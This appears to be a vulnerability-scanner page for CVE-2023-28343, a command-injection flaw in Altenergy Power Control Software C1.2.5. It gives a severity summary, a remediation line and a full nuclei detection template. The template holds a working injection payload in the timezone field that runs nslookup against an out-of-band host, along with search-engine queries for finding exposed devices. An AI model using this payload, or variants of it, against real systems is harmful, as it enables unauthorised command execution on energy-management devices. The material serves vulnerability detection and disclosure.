Altenergy Power Control Software C1.2.5 - Remote Command Injection

criticalseverity

9.8CVSS score

84.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Altenergy Power Control Software C1.2.5 is susceptible to remote command injection via shell metacharacters in the index.php/management/set_timezone parameter, because of set_timezone in models/management_model.php. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.

Fix

Apply the latest security patches or updates provided by the vendor to fix the remote command injection vulnerability.

How to confirm it

Send: POST /index.php/management/set_timezone
Positive when: contains in interactsh_protocol "dns" AND contains "Time Zone updated successfully" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-28343 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-28343

info:
  name: Altenergy Power Control Software C1.2.5 - Remote Command Injection
  author: pikpikcu
  severity: critical
  description: |
    Altenergy Power Control Software C1.2.5 is susceptible to remote command injection via shell metacharacters in the index.php/management/set_timezone parameter, because of set_timezone in models/management_model.php. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the remote command injection vulnerability.
  reference:
    - https://github.com/ahmedalroky/Disclosures/blob/main/apesystems/os_command_injection.md
    - https://apsystems.com
    - http://packetstormsecurity.com/files/171775/Altenergy-Power-Control-Software-C1.2.5-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-28343
    - https://github.com/hba343434/CVE-2023-28343
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-28343
    cwe-id: CWE-78
    epss-score: 0.84752
    epss-percentile: 0.99711
    cpe: cpe:2.3:o:apsystems:energy_communication_unit_firmware:c1.2.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apsystems
    product: energy_communication_unit_firmware
    shodan-query:
      - title:"Altenergy Power Control Software"
      - http.title:"altenergy power control software"
    fofa-query: title="altenergy power control software"
    google-query:
      - intitle:"Altenergy Power Control Software"
      - intitle:"altenergy power control software"
  tags: cve,cve2023,oast,altenergy,iot,packetstorm,apsystems,vkev,vuln

http:
  - raw:
      - |
        POST /index.php/management/set_timezone HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Accept-Encoding: gzip, deflate
        Referer: {{RootURL}}/index.php/management/datetime

        timezone=`nslookup {{interactsh-url}}`

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "Time Zone updated successfully"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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